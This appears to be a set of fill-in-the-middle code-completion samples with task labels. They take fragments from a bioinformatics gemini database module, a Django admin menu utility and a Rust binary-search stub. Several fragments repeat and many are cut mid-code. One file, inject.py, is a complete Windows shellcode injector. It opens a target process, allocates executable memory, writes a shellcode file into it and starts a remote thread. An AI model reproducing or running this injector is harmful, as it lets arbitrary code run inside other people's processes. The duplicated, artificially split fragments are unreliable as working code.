use_gemini: ped_file = create_ped_file(samples + extras, gemini_vcf) gemini_db = create_gemini_db(gemini_vcf, data, gemini_db, ped_file) return [[(name, caller), {"db": gemini_db if utils.file_exists(gemini_db) else None, "vcf": multisample_vcf if is_batch else None}]] def create_gemini_db(gemini_vcf, data, gemini_db=None, ped_file=None): if not gemini_db: gemini_db = "%s.db" % utils.splitext_plus(gemini_vcf)[0] if not utils.file_exists(gemini_db): if not vcfutils.vcf_has_variants(gemini_vcf): return None with file_transaction(data, gemini_db) as tx_gemini_db: gemini = config_utils.get_program("gemini", data["config"]) if "program_versions" in data["config"].get("resources", {}): gemini_ver = programs.get_version("gemini", config=data["config"]) else: gemini_ver = None # Recent versions of gemini allow loading only passing variants load_opts = "" if not gemini_ver or LooseVersion(gemini_ver) > LooseVersion("0.6.2.1"): load_opts += " --passonly" # For small test files, skip gene table loading which takes a long time if gemini_ver and LooseVersion(gemini_ver) > LooseVersion("0.6.4"): if _is_small_vcf(gemini_vcf): load_opts += " --skip-gene-tables" if "/test_automated_output/" in gemini_vcf: load_opts += " --test-mode" # Skip CADD or gerp-bp if neither are loaded if gemini_ver and LooseVersion(gemini_ver) >= LooseVersion("0.7.0"): gemini_dir = install.get_gemini_dir(data) for skip_cmd, check_file in [("--skip-cadd", "whole_genome_SNVs.tsv.compressed.gz")]: if not os.path.exists(os.path.join(gemini_dir, check_file)): load_opts += " %s" % skip_cmd # skip gerp-bp which slows down loading load_opts += " --skip-gerp-bp " num_cores = data["config"]["algorithm"].get("num_cores", 1) tmpdir = os.path.dirname(tx_gemini_db) eanns = _get_effects_flag(data) # Apply custom resource specifications, allowing use of alternative annotation_dir resources = config_utils.get_resources("gemini", data["config"]) gemini_opts = " ".join([str(x) for x in resources["options"]]) if resources.get("options") else "" cmd = ("{gemini} {gemini_opts} load {load_opts} -v {gemini_vcf} {eanns} --cores {num_cores} " "--tempdir {tmpdir} {tx_gemini_db}") cmd = cmd.format(**locals()) do.run(cmd, "Create gemini database for %s" % gemini_vcf, data) if ped_file: cmd = [gemini, "amend", "--sample", ped_file, tx_gemini_db] do.run(cmd, "Add PED file to gemini database", data) return gemini_db def _get_effects_flag(data): effects_config = tz.get_in(("config", "algorithm", "effects"), data, "snpeff") if effects_config == "snpeff": return "-t snpEff" elif effects_config == "vep": return "-t VEP" else: return "" def get_affected_status(data): """Retrieve the affected/unaffected status of sample. Uses unaffected (1), affected (2), unknown (0) coding from PED files: http://pngu.mgh.harvard.edu/~purcell/plink/data.shtml#ped """ affected = set(["tumor", "affected"]) unaffected = set(["normal", "unaffected"]) phenotype = str(tz.get_in(["metadata", "phenotype"], data, "")).lower() if phenotype in affected: return 2 elif phenotype in unaffected: return 1 else: return 0 def create_ped_file(samples, base_vcf): """Create a GEMINI-compatible PED file, including gender, family and phenotype information. Checks for a specified `ped` file in metadata, and will use sample information from this file before reconstituting from metadata information. """ def _code_gender(data): g = dd.get_gender(data) if g and str(g).lower() in ["male", "m"]: return 1 elif g and str(g).lower() in ["female", "f"]: return 2 else: return 0 out_file = "%s.ped" % utils.splitext_plus(base_vcf)[0] sample_ped_lines = {} header = ["#Family_ID", "Individual_ID", "Paternal_ID", "Maternal_ID", "Sex", "Phenotype", "Ethnicity"] for md_ped in list(set([x for x in [tz.get_in(["metadata", "ped"], data) for data in samples] if x is not None])): with open(md_ped) as in_handle: reader = csv.reader(in_handle, dialect="excel-tab") for parts in reader: if parts[0].startswith("#") and len(parts) > len(header): header = header + parts[len(header):] else: sample_ped_lines[parts[1]] = parts if not utils.file_exists(out_file): with file_transaction(samples[0], out_file) as tx_out_file: with open(tx_out_file, "w") as out_handle: writer = csv.writer(out_handle, dialect="excel-tab") writer.writerow(header) batch = _find_shared_batch(samples) for data in samples: sname = dd.get_sample_name(data) if sname in sample_ped_lines: writer.writerow(sample_ped_lines[sname]) else: writer.writerow([batch, sname, "-9", "-9", _code_gender(data), get_affected_status(data), "-9"]) return out_file def _find_shared_batch(samples): for data in samples: batch = tz.get_in(["metadata", "batch"], data, dd.get_sample_name(data)) if not isinstance(batch, (list, tuple)): return batch def _is_small_vcf(vcf_file): """Check for small VCFs which we want to analyze quicker. """ count = 0 small_thresh = 250 with utils.open_gzipsafe(vcf_file) as in_handle: for line in in_handle: if not line.startswith("#"): count += 1 if count > small_thresh: return False return True def get_multisample_vcf(fnames, name, caller, data): """Retrieve a multiple sample VCF file in a standard location. Handles inputs with multiple repeated input files from batches. """ unique_fnames = [] for f in fnames: if f not in unique_fnames: unique_fnames.append(f) out_dir = utils.safe_makedir(os.path.join(data["dirs"]["work"], "gemini")) if len(unique_fnames) > 1: gemini_vcf = os.path.join(out_dir, "%s-%s.vcf.gz" % (name, caller)) vrn_file_batch = None for variant in data["variants"]: if variant["variantcaller"] == caller and variant.get("vrn_file_batch"): vrn_file_batch = variant["vrn_file_batch"] if vrn_file_batch: utils.symlink_plus(vrn_file_batch, gemini_vcf) return gemini_vcf else: return vcfutils.merge_variant_files(unique_fnames, gemini_vcf, data["sam_ref"], data["config"]) else: gemini_vcf = os.path.join(out_dir, "%s-%s%s" % (name, caller, utils.splitext_plus(unique_fnames[0])[1])) utils.symlink_plus(unique_fnames[0], gemini_vcf) return gemini_vcf def _has_gemini(data): from bcbio import install gemini_dir = install.get_gemini_dir(data) return ((os.path.exists(gemini_dir) and len(os.listdir(gemini_dir)) > 0) and os.path.exists(os.path.join(os.path.dirname(gemini_dir), "gemini-config.yaml"))) def do_db_build(samples, need_bam=True, gresources=None): """Confirm we should build a gemini database: need gemini + human samples + not in tool_skip. """ genomes = set() for data in samples: if not need_bam or data.get("align_bam"): genomes.add(data["genome_build"]) if "gemini" in utils.get_in(data, ("config", "algorithm", "tools_off"), []): return False if len(genomes) == 1:
if not gresources: gresources = samples[0]["genome_resources"] return (tz.get_in(["aliases", "human"], gresources, False) and _has_gemini(samples[0]))
conditional_block
population.py
.file_exists(gemini_db) and use_gemini_quick: use_gemini = do_db_build(samples) and any(vcfutils.vcf_has_variants(f) for f in fnames) if use_gemini: ped_file = create_ped_file(samples + extras, gemini_vcf) gemini_db = create_gemini_db(gemini_vcf, data, gemini_db, ped_file) return [[(name, caller), {"db": gemini_db if utils.file_exists(gemini_db) else None, "vcf": multisample_vcf if is_batch else None}]] def create_gemini_db(gemini_vcf, data, gemini_db=None, ped_file=None): if not gemini_db: gemini_db = "%s.db" % utils.splitext_plus(gemini_vcf)[0] if not utils.file_exists(gemini_db): if not vcfutils.vcf_has_variants(gemini_vcf): return None with file_transaction(data, gemini_db) as tx_gemini_db: gemini = config_utils.get_program("gemini", data["config"]) if "program_versions" in data["config"].get("resources", {}): gemini_ver = programs.get_version("gemini", config=data["config"]) else: gemini_ver = None # Recent versions of gemini allow loading only passing variants load_opts = "" if not gemini_ver or LooseVersion(gemini_ver) > LooseVersion("0.6.2.1"): load_opts += " --passonly" # For small test files, skip gene table loading which takes a long time if gemini_ver and LooseVersion(gemini_ver) > LooseVersion("0.6.4"): if _is_small_vcf(gemini_vcf): load_opts += " --skip-gene-tables" if "/test_automated_output/" in gemini_vcf: load_opts += " --test-mode" # Skip CADD or gerp-bp if neither are loaded if gemini_ver and LooseVersion(gemini_ver) >= LooseVersion("0.7.0"): gemini_dir = install.get_gemini_dir(data) for skip_cmd, check_file in [("--skip-cadd", "whole_genome_SNVs.tsv.compressed.gz")]: if not os.path.exists(os.path.join(gemini_dir, check_file)): load_opts += " %s" % skip_cmd # skip gerp-bp which slows down loading load_opts += " --skip-gerp-bp " num_cores = data["config"]["algorithm"].get("num_cores", 1) tmpdir = os.path.dirname(tx_gemini_db) eanns = _get_effects_flag(data) # Apply custom resource specifications, allowing use of alternative annotation_dir resources = config_utils.get_resources("gemini", data["config"]) gemini_opts = " ".join([str(x) for x in resources["options"]]) if resources.get("options") else "" cmd = ("{gemini} {gemini_opts} load {load_opts} -v {gemini_vcf} {eanns} --cores {num_cores} " "--tempdir {tmpdir} {tx_gemini_db}") cmd = cmd.format(**locals()) do.run(cmd, "Create gemini database for %s" % gemini_vcf, data) if ped_file: cmd = [gemini, "amend", "--sample", ped_file, tx_gemini_db] do.run(cmd, "Add PED file to gemini database", data) return gemini_db def _get_effects_flag(data): effects_config = tz.get_in(("config", "algorithm", "effects"), data, "snpeff") if effects_config == "snpeff": return "-t snpEff" elif effects_config == "vep": return "-t VEP" else: return "" def get_affected_status(data): """Retrieve the affected/unaffected status of sample. Uses unaffected (1), affected (2), unknown (0) coding from PED files: http://pngu.mgh.harvard.edu/~purcell/plink/data.shtml#ped """ affected = set(["tumor", "affected"]) unaffected = set(["normal", "unaffected"]) phenotype = str(tz.get_in(["metadata", "phenotype"], data, "")).lower() if phenotype in affected: return 2 elif phenotype in unaffected: return 1 else: return 0 def create_ped_file(samples, base_vcf): """Create a GEMINI-compatible PED file, including gender, family and phenotype information. Checks for a specified `ped` file in metadata, and will use sample information from this file before reconstituting from metadata information. """ def _code_gender(data): g = dd.get_gender(data) if g and str(g).lower() in ["male", "m"]: return 1 elif g and str(g).lower() in ["female", "f"]: return 2 else: return 0 out_file = "%s.ped" % utils.splitext_plus(base_vcf)[0] sample_ped_lines = {} header = ["#Family_ID", "Individual_ID", "Paternal_ID", "Maternal_ID", "Sex", "Phenotype", "Ethnicity"] for md_ped in list(set([x for x in [tz.get_in(["metadata", "ped"], data) for data in samples] if x is not None])): with open(md_ped) as in_handle: reader = csv.reader(in_handle, dialect="excel-tab") for parts in reader: if parts[0].startswith("#") and len(parts) > len(header): header = header + parts[len(header):] else: sample_ped_lines[parts[1]] = parts if not utils.file_exists(out_file): with file_transaction(samples[0], out_file) as tx_out_file: with open(tx_out_file, "w") as out_handle: writer = csv.writer(out_handle, dialect="excel-tab") writer.writerow(header) batch = _find_shared_batch(samples) for data in samples: sname = dd.get_sample_name(data) if sname in sample_ped_lines: writer.writerow(sample_ped_lines[sname]) else: writer.writerow([batch, sname, "-9", "-9", _code_gender(data), get_affected_status(data), "-9"]) return out_file def _find_shared_batch(samples): for data in samples: batch = tz.get_in(["metadata", "batch"], data, dd.get_sample_name(data)) if not isinstance(batch, (list, tuple)): return batch def _is_small_vcf(vcf_file): """Check for small VCFs which we want to analyze quicker. """ count = 0 small_thresh = 250 with utils.open_gzipsafe(vcf_file) as in_handle: for line in in_handle: if not line.startswith("#"): count += 1 if count > small_thresh: return False return True def get_multisample_vcf(fnames, name, caller, data):
data["config"]) else: gemini_vcf = os.path.join(out_dir, "%s-%s%s" % (name, caller, utils.splitext_plus(unique_fnames[0])[1])) utils.symlink_plus(unique_fnames[0], gemini_vcf) return gemini_vcf def _has_gemini(data): from bcbio import install gemini_dir = install.get_gemini_dir(data) return ((os.path.exists(gemini_dir) and len(os.listdir(gemini_dir)) > 0) and os.path.exists(os.path.join(os.path.dirname(gemini_dir), "gemini-config.yaml"))) def do_db_build(samples, need_bam=True, gresources=None): """Confirm we should build a gemini database: need gemini + human samples + not in tool_skip. """ genomes = set() for data in samples: if not need_bam or data.get("align_bam"): genomes.add(data["genome_build"]) if "gemini" in utils.get_in(data, ("config", "algorithm", "tools_off"), []): return False if len(genomes) == 1:
"""Retrieve a multiple sample VCF file in a standard location. Handles inputs with multiple repeated input files from batches. """ unique_fnames = [] for f in fnames: if f not in unique_fnames: unique_fnames.append(f) out_dir = utils.safe_makedir(os.path.join(data["dirs"]["work"], "gemini")) if len(unique_fnames) > 1: gemini_vcf = os.path.join(out_dir, "%s-%s.vcf.gz" % (name, caller)) vrn_file_batch = None for variant in data["variants"]: if variant["variantcaller"] == caller and variant.get("vrn_file_batch"): vrn_file_batch = variant["vrn_file_batch"] if vrn_file_batch: utils.symlink_plus(vrn_file_batch, gemini_vcf) return gemini_vcf else: return vcfutils.merge_variant_files(unique_fnames, gemini_vcf, data["sam_ref"],
identifier_body
population.py
load_opts += " --test-mode" # Skip CADD or gerp-bp if neither are loaded if gemini_ver and LooseVersion(gemini_ver) >= LooseVersion("0.7.0"): gemini_dir = install.get_gemini_dir(data) for skip_cmd, check_file in [("--skip-cadd", "whole_genome_SNVs.tsv.compressed.gz")]: if not os.path.exists(os.path.join(gemini_dir, check_file)): load_opts += " %s" % skip_cmd # skip gerp-bp which slows down loading load_opts += " --skip-gerp-bp " num_cores = data["config"]["algorithm"].get("num_cores", 1) tmpdir = os.path.dirname(tx_gemini_db) eanns = _get_effects_flag(data) # Apply custom resource specifications, allowing use of alternative annotation_dir resources = config_utils.get_resources("gemini", data["config"]) gemini_opts = " ".join([str(x) for x in resources["options"]]) if resources.get("options") else "" cmd = ("{gemini} {gemini_opts} load {load_opts} -v {gemini_vcf} {eanns} --cores {num_cores} " "--tempdir {tmpdir} {tx_gemini_db}") cmd = cmd.format(**locals()) do.run(cmd, "Create gemini database for %s" % gemini_vcf, data) if ped_file: cmd = [gemini, "amend", "--sample", ped_file, tx_gemini_db] do.run(cmd, "Add PED file to gemini database", data) return gemini_db def _get_effects_flag(data): effects_config = tz.get_in(("config", "algorithm", "effects"), data, "snpeff") if effects_config == "snpeff": return "-t snpEff" elif effects_config == "vep": return "-t VEP" else: return "" def get_affected_status(data): """Retrieve the affected/unaffected status of sample. Uses unaffected (1), affected (2), unknown (0) coding from PED files: http://pngu.mgh.harvard.edu/~purcell/plink/data.shtml#ped """ affected = set(["tumor", "affected"]) unaffected = set(["normal", "unaffected"]) phenotype = str(tz.get_in(["metadata", "phenotype"], data, "")).lower() if phenotype in affected: return 2 elif phenotype in unaffected: return 1 else: return 0 def create_ped_file(samples, base_vcf): """Create a GEMINI-compatible PED file, including gender, family and phenotype information. Checks for a specified `ped` file in metadata, and will use sample information from this file before reconstituting from metadata information. """ def _code_gender(data): g = dd.get_gender(data) if g and str(g).lower() in ["male", "m"]: return 1 elif g and str(g).lower() in ["female", "f"]: return 2 else: return 0 out_file = "%s.ped" % utils.splitext_plus(base_vcf)[0] sample_ped_lines = {} header = ["#Family_ID", "Individual_ID", "Paternal_ID", "Maternal_ID", "Sex", "Phenotype", "Ethnicity"] for md_ped in list(set([x for x in [tz.get_in(["metadata", "ped"], data) for data in samples] if x is not None])): with open(md_ped) as in_handle: reader = csv.reader(in_handle, dialect="excel-tab") for parts in reader: if parts[0].startswith("#") and len(parts) > len(header): header = header + parts[len(header):] else: sample_ped_lines[parts[1]] = parts if not utils.file_exists(out_file): with file_transaction(samples[0], out_file) as tx_out_file: with open(tx_out_file, "w") as out_handle: writer = csv.writer(out_handle, dialect="excel-tab") writer.writerow(header) batch = _find_shared_batch(samples) for data in samples: sname = dd.get_sample_name(data) if sname in sample_ped_lines: writer.writerow(sample_ped_lines[sname]) else: writer.writerow([batch, sname, "-9", "-9", _code_gender(data), get_affected_status(data), "-9"]) return out_file def _find_shared_batch(samples): for data in samples: batch = tz.get_in(["metadata", "batch"], data, dd.get_sample_name(data)) if not isinstance(batch, (list, tuple)): return batch def _is_small_vcf(vcf_file): """Check for small VCFs which we want to analyze quicker. """ count = 0 small_thresh = 250 with utils.open_gzipsafe(vcf_file) as in_handle: for line in in_handle: if not line.startswith("#"): count += 1 if count > small_thresh: return False return True def get_multisample_vcf(fnames, name, caller, data): """Retrieve a multiple sample VCF file in a standard location. Handles inputs with multiple repeated input files from batches. """ unique_fnames = [] for f in fnames: if f not in unique_fnames: unique_fnames.append(f) out_dir = utils.safe_makedir(os.path.join(data["dirs"]["work"], "gemini")) if len(unique_fnames) > 1: gemini_vcf = os.path.join(out_dir, "%s-%s.vcf.gz" % (name, caller)) vrn_file_batch = None for variant in data["variants"]: if variant["variantcaller"] == caller and variant.get("vrn_file_batch"): vrn_file_batch = variant["vrn_file_batch"] if vrn_file_batch: utils.symlink_plus(vrn_file_batch, gemini_vcf) return gemini_vcf else: return vcfutils.merge_variant_files(unique_fnames, gemini_vcf, data["sam_ref"], data["config"]) else: gemini_vcf = os.path.join(out_dir, "%s-%s%s" % (name, caller, utils.splitext_plus(unique_fnames[0])[1])) utils.symlink_plus(unique_fnames[0], gemini_vcf) return gemini_vcf def _has_gemini(data): from bcbio import install gemini_dir = install.get_gemini_dir(data) return ((os.path.exists(gemini_dir) and len(os.listdir(gemini_dir)) > 0) and os.path.exists(os.path.join(os.path.dirname(gemini_dir), "gemini-config.yaml"))) def do_db_build(samples, need_bam=True, gresources=None): """Confirm we should build a gemini database: need gemini + human samples + not in tool_skip. """ genomes = set() for data in samples: if not need_bam or data.get("align_bam"): genomes.add(data["genome_build"]) if "gemini" in utils.get_in(data, ("config", "algorithm", "tools_off"), []): return False if len(genomes) == 1: if not gresources: gresources = samples[0]["genome_resources"] return (tz.get_in(["aliases", "human"], gresources, False) and _has_gemini(samples[0])) else: return False def get_gemini_files(data): """Enumerate available gemini data files in a standard installation. """ try: from gemini import annotations, config except ImportError: return {} return {"base": config.read_gemini_config()["annotation_dir"], "files": annotations.get_anno_files().values()} def _group_by_batches(samples, check_fn): """Group data items into batches, providing details to retrieve results. """ batch_groups = collections.defaultdict(list) singles = [] out_retrieve = [] extras = [] for data in [x[0] for x in samples]: if check_fn(data): batch = tz.get_in(["metadata", "batch"], data) name = str(data["name"][-1]) if batch: out_retrieve.append((str(batch), data)) else: out_retrieve.append((name, data)) for vrn in data["variants"]: if vrn.get("population", True): if batch: batch_groups[(str(batch), vrn["variantcaller"])].append((vrn["vrn_file"], data)) else: singles.append((name, vrn["variantcaller"], data, vrn["vrn_file"])) else: extras.append(data) return batch_groups, singles, out_retrieve, extras def _has_variant_calls(data): if data.get("align_bam"): for vrn in data["variants"]: if vrn.get("vrn_file") and vcfutils.vcf_has_variants(vrn["vrn_file"]): return True
return False def prep_db_parallel(samples, parallel_fn): """Prepares gemini databases in parallel, handling jointly called populations. """
random_line_split
inject.py
#First parameter is path for binary file containing instructions to be injected #Second parameter is Process Identifier for process to be injected to import binascii import sys from ctypes import * if len(sys.argv) < 3: print("usage inject.py <shellcodefile.bin> <pid>") sys.exit(1) file = open(sys.argv[1],'rb') buff=file.read() file.close() print("buffer length = ") print(len(buff)) print("pid = "+sys.argv[2]) handle = windll.kernel32.OpenProcess(0x1f0fff,0, int(sys.argv[2])) if (handle == 0): print("handle == 0") sys.exit(1) addr = windll.kernel32.VirtualAllocEx(handle,0,len(buff),0x3000|0x1000,0x40) if(addr == 0): print("addr = = 0") sys.exit(1) bytes = c_ubyte() windll.kernel32.WriteProcessMemory(handle, addr , buff, len(buff), byref(bytes)) handle1=windll.kernel32.CreateRemoteThread(handle , 0x0, 0x0 , addr, 0x0,0x0 , 0x0)
if(handle1 == 0): print("handle1 = = 0"); sys.exit(1) windll.kernel32.CloseHandle(handle)
random_line_split
inject.py
#First parameter is path for binary file containing instructions to be injected #Second parameter is Process Identifier for process to be injected to import binascii import sys from ctypes import * if len(sys.argv) < 3: print("usage inject.py <shellcodefile.bin> <pid>") sys.exit(1) file = open(sys.argv[1],'rb') buff=file.read() file.close() print("buffer length = ") print(len(buff)) print("pid = "+sys.argv[2]) handle = windll.kernel32.OpenProcess(0x1f0fff,0, int(sys.argv[2])) if (handle == 0): print("handle == 0") sys.exit(1) addr = windll.kernel32.VirtualAllocEx(handle,0,len(buff),0x3000|0x1000,0x40) if(addr == 0): print("addr = = 0") sys.exit(1) bytes = c_ubyte() windll.kernel32.WriteProcessMemory(handle, addr , buff, len(buff), byref(bytes)) handle1=windll.kernel32.CreateRemoteThread(handle , 0x0, 0x0 , addr, 0x0,0x0 , 0x0) if(handle1 == 0):
windll.kernel32.CloseHandle(handle)
print("handle1 = = 0"); sys.exit(1)
conditional_block
utils.py
""" Menu utilities. """ from fnmatch import fnmatch from django.utils.importlib import import_module from django.core.urlresolvers import reverse from wpadmin.utils import ( get_wpadmin_settings, get_admin_site, get_admin_site_name) def get_menu_cls(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ return get_wpadmin_settings(admin_site_name).get('menu', {}).get(menu, None) def get_menu(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ menu_cls = get_menu_cls(menu, admin_site_name) if menu_cls:
return None # I had to copy (and slightly modify) those utils from django-admin-tools # to override get_admin_site def get_avail_models(context): """ Returns (model, perm,) for all models user can possibly see """ items = [] admin_site = get_admin_site(context) for model, model_admin in list(admin_site._registry.items()): perms = model_admin.get_model_perms(context.get('request')) if True not in list(perms.values()): continue items.append((model, perms,)) return items def filter_models(context, models, exclude): """ Returns (model, perm,) for all models that match models/exclude patterns and are visible by current user. """ items = get_avail_models(context) included = [] full_name = lambda m: '%s.%s' % (m.__module__, m.__name__) # I believe that that implemented # O(len(patterns)*len(matched_patterns)*len(all_models)) # algorithm is fine for model lists because they are small and admin # performance is not a bottleneck. If it is not the case then the code # should be optimized. if len(models) == 0: included = items else: for pattern in models: for item in items: model, perms = item if fnmatch(full_name(model), pattern) and item not in included: included.append(item) result = included[:] for pattern in exclude: for item in included: model, perms = item if fnmatch(full_name(model), pattern): try: result.remove(item) except ValueError: # if the item was already removed skip pass return result class UserTestElementMixin(object): """ Mixin which adds a method for checking if current user is allowed to see something (menu, menu item, etc.). """ def is_user_allowed(self, user): """ This method can be overwritten to check if current user can see this element. """ return True class AppListElementMixin(object): """ Mixin class for AppList and ModelList MenuItem. """ def _visible_models(self, context): included = self.models[:] excluded = self.exclude[:] if excluded and not included: included = ["*"] return filter_models(context, included, excluded) def _get_admin_app_list_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:app_list' % get_admin_site_name(context), args=(app_label,)) def _get_admin_change_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_changelist' % (get_admin_site_name(context), app_label, model.__name__.lower())) def _get_admin_add_url(self, model, context): """ Returns the admin add url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_add' % (get_admin_site_name(context), app_label, model.__name__.lower())) def is_empty(self): return len(self.children) == 0
mod, inst = menu_cls.rsplit('.', 1) mod = import_module(mod) return getattr(mod, inst)()
conditional_block
utils.py
""" Menu utilities. """ from fnmatch import fnmatch from django.utils.importlib import import_module from django.core.urlresolvers import reverse from wpadmin.utils import ( get_wpadmin_settings, get_admin_site, get_admin_site_name) def get_menu_cls(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ return get_wpadmin_settings(admin_site_name).get('menu', {}).get(menu, None) def get_menu(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ menu_cls = get_menu_cls(menu, admin_site_name) if menu_cls: mod, inst = menu_cls.rsplit('.', 1) mod = import_module(mod) return getattr(mod, inst)() return None # I had to copy (and slightly modify) those utils from django-admin-tools # to override get_admin_site def get_avail_models(context): """ Returns (model, perm,) for all models user can possibly see """ items = [] admin_site = get_admin_site(context) for model, model_admin in list(admin_site._registry.items()): perms = model_admin.get_model_perms(context.get('request')) if True not in list(perms.values()): continue items.append((model, perms,)) return items def filter_models(context, models, exclude): """ Returns (model, perm,) for all models that match models/exclude patterns and are visible by current user. """ items = get_avail_models(context) included = [] full_name = lambda m: '%s.%s' % (m.__module__, m.__name__) # I believe that that implemented # O(len(patterns)*len(matched_patterns)*len(all_models)) # algorithm is fine for model lists because they are small and admin # performance is not a bottleneck. If it is not the case then the code # should be optimized. if len(models) == 0: included = items else: for pattern in models: for item in items: model, perms = item if fnmatch(full_name(model), pattern) and item not in included: included.append(item) result = included[:] for pattern in exclude: for item in included: model, perms = item if fnmatch(full_name(model), pattern): try: result.remove(item) except ValueError: # if the item was already removed skip pass return result class UserTestElementMixin(object): """ Mixin which adds a method for checking if current user is allowed to see something (menu, menu item, etc.). """ def is_user_allowed(self, user): """ This method can be overwritten to check if current user can see this element. """ return True class AppListElementMixin(object): """ Mixin class for AppList and ModelList MenuItem. """ def _visible_models(self, context): included = self.models[:] excluded = self.exclude[:] if excluded and not included:
""" Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:app_list' % get_admin_site_name(context), args=(app_label,)) def _get_admin_change_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_changelist' % (get_admin_site_name(context), app_label, model.__name__.lower())) def _get_admin_add_url(self, model, context): """ Returns the admin add url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_add' % (get_admin_site_name(context), app_label, model.__name__.lower())) def is_empty(self): return len(self.children) == 0
included = ["*"] return filter_models(context, included, excluded) def _get_admin_app_list_url(self, model, context):
random_line_split
utils.py
""" Menu utilities. """ from fnmatch import fnmatch from django.utils.importlib import import_module from django.core.urlresolvers import reverse from wpadmin.utils import ( get_wpadmin_settings, get_admin_site, get_admin_site_name) def get_menu_cls(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ return get_wpadmin_settings(admin_site_name).get('menu', {}).get(menu, None) def get_menu(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ menu_cls = get_menu_cls(menu, admin_site_name) if menu_cls: mod, inst = menu_cls.rsplit('.', 1) mod = import_module(mod) return getattr(mod, inst)() return None # I had to copy (and slightly modify) those utils from django-admin-tools # to override get_admin_site def get_avail_models(context): """ Returns (model, perm,) for all models user can possibly see """ items = [] admin_site = get_admin_site(context) for model, model_admin in list(admin_site._registry.items()): perms = model_admin.get_model_perms(context.get('request')) if True not in list(perms.values()): continue items.append((model, perms,)) return items def filter_models(context, models, exclude): """ Returns (model, perm,) for all models that match models/exclude patterns and are visible by current user. """ items = get_avail_models(context) included = [] full_name = lambda m: '%s.%s' % (m.__module__, m.__name__) # I believe that that implemented # O(len(patterns)*len(matched_patterns)*len(all_models)) # algorithm is fine for model lists because they are small and admin # performance is not a bottleneck. If it is not the case then the code # should be optimized. if len(models) == 0: included = items else: for pattern in models: for item in items: model, perms = item if fnmatch(full_name(model), pattern) and item not in included: included.append(item) result = included[:] for pattern in exclude: for item in included: model, perms = item if fnmatch(full_name(model), pattern): try: result.remove(item) except ValueError: # if the item was already removed skip pass return result class UserTestElementMixin(object): """ Mixin which adds a method for checking if current user is allowed to see something (menu, menu item, etc.). """ def is_user_allowed(self, user):
class AppListElementMixin(object): """ Mixin class for AppList and ModelList MenuItem. """ def _visible_models(self, context): included = self.models[:] excluded = self.exclude[:] if excluded and not included: included = ["*"] return filter_models(context, included, excluded) def _get_admin_app_list_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:app_list' % get_admin_site_name(context), args=(app_label,)) def _get_admin_change_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_changelist' % (get_admin_site_name(context), app_label, model.__name__.lower())) def _get_admin_add_url(self, model, context): """ Returns the admin add url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_add' % (get_admin_site_name(context), app_label, model.__name__.lower())) def is_empty(self): return len(self.children) == 0
""" This method can be overwritten to check if current user can see this element. """ return True
identifier_body
utils.py
""" Menu utilities. """ from fnmatch import fnmatch from django.utils.importlib import import_module from django.core.urlresolvers import reverse from wpadmin.utils import ( get_wpadmin_settings, get_admin_site, get_admin_site_name) def get_menu_cls(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ return get_wpadmin_settings(admin_site_name).get('menu', {}).get(menu, None) def get_menu(menu, admin_site_name='admin'): """ menu - menu name ('top' or 'left') """ menu_cls = get_menu_cls(menu, admin_site_name) if menu_cls: mod, inst = menu_cls.rsplit('.', 1) mod = import_module(mod) return getattr(mod, inst)() return None # I had to copy (and slightly modify) those utils from django-admin-tools # to override get_admin_site def
(context): """ Returns (model, perm,) for all models user can possibly see """ items = [] admin_site = get_admin_site(context) for model, model_admin in list(admin_site._registry.items()): perms = model_admin.get_model_perms(context.get('request')) if True not in list(perms.values()): continue items.append((model, perms,)) return items def filter_models(context, models, exclude): """ Returns (model, perm,) for all models that match models/exclude patterns and are visible by current user. """ items = get_avail_models(context) included = [] full_name = lambda m: '%s.%s' % (m.__module__, m.__name__) # I believe that that implemented # O(len(patterns)*len(matched_patterns)*len(all_models)) # algorithm is fine for model lists because they are small and admin # performance is not a bottleneck. If it is not the case then the code # should be optimized. if len(models) == 0: included = items else: for pattern in models: for item in items: model, perms = item if fnmatch(full_name(model), pattern) and item not in included: included.append(item) result = included[:] for pattern in exclude: for item in included: model, perms = item if fnmatch(full_name(model), pattern): try: result.remove(item) except ValueError: # if the item was already removed skip pass return result class UserTestElementMixin(object): """ Mixin which adds a method for checking if current user is allowed to see something (menu, menu item, etc.). """ def is_user_allowed(self, user): """ This method can be overwritten to check if current user can see this element. """ return True class AppListElementMixin(object): """ Mixin class for AppList and ModelList MenuItem. """ def _visible_models(self, context): included = self.models[:] excluded = self.exclude[:] if excluded and not included: included = ["*"] return filter_models(context, included, excluded) def _get_admin_app_list_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:app_list' % get_admin_site_name(context), args=(app_label,)) def _get_admin_change_url(self, model, context): """ Returns the admin change url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_changelist' % (get_admin_site_name(context), app_label, model.__name__.lower())) def _get_admin_add_url(self, model, context): """ Returns the admin add url. """ app_label = model._meta.app_label return reverse('%s:%s_%s_add' % (get_admin_site_name(context), app_label, model.__name__.lower())) def is_empty(self): return len(self.children) == 0
get_avail_models
identifier_name
main.rs
use std::cmp::Ord; use std::cmp::Ordering::{Less, Equal, Greater}; fn chop<T: Ord>(item : T, slice : &[T]) -> i32
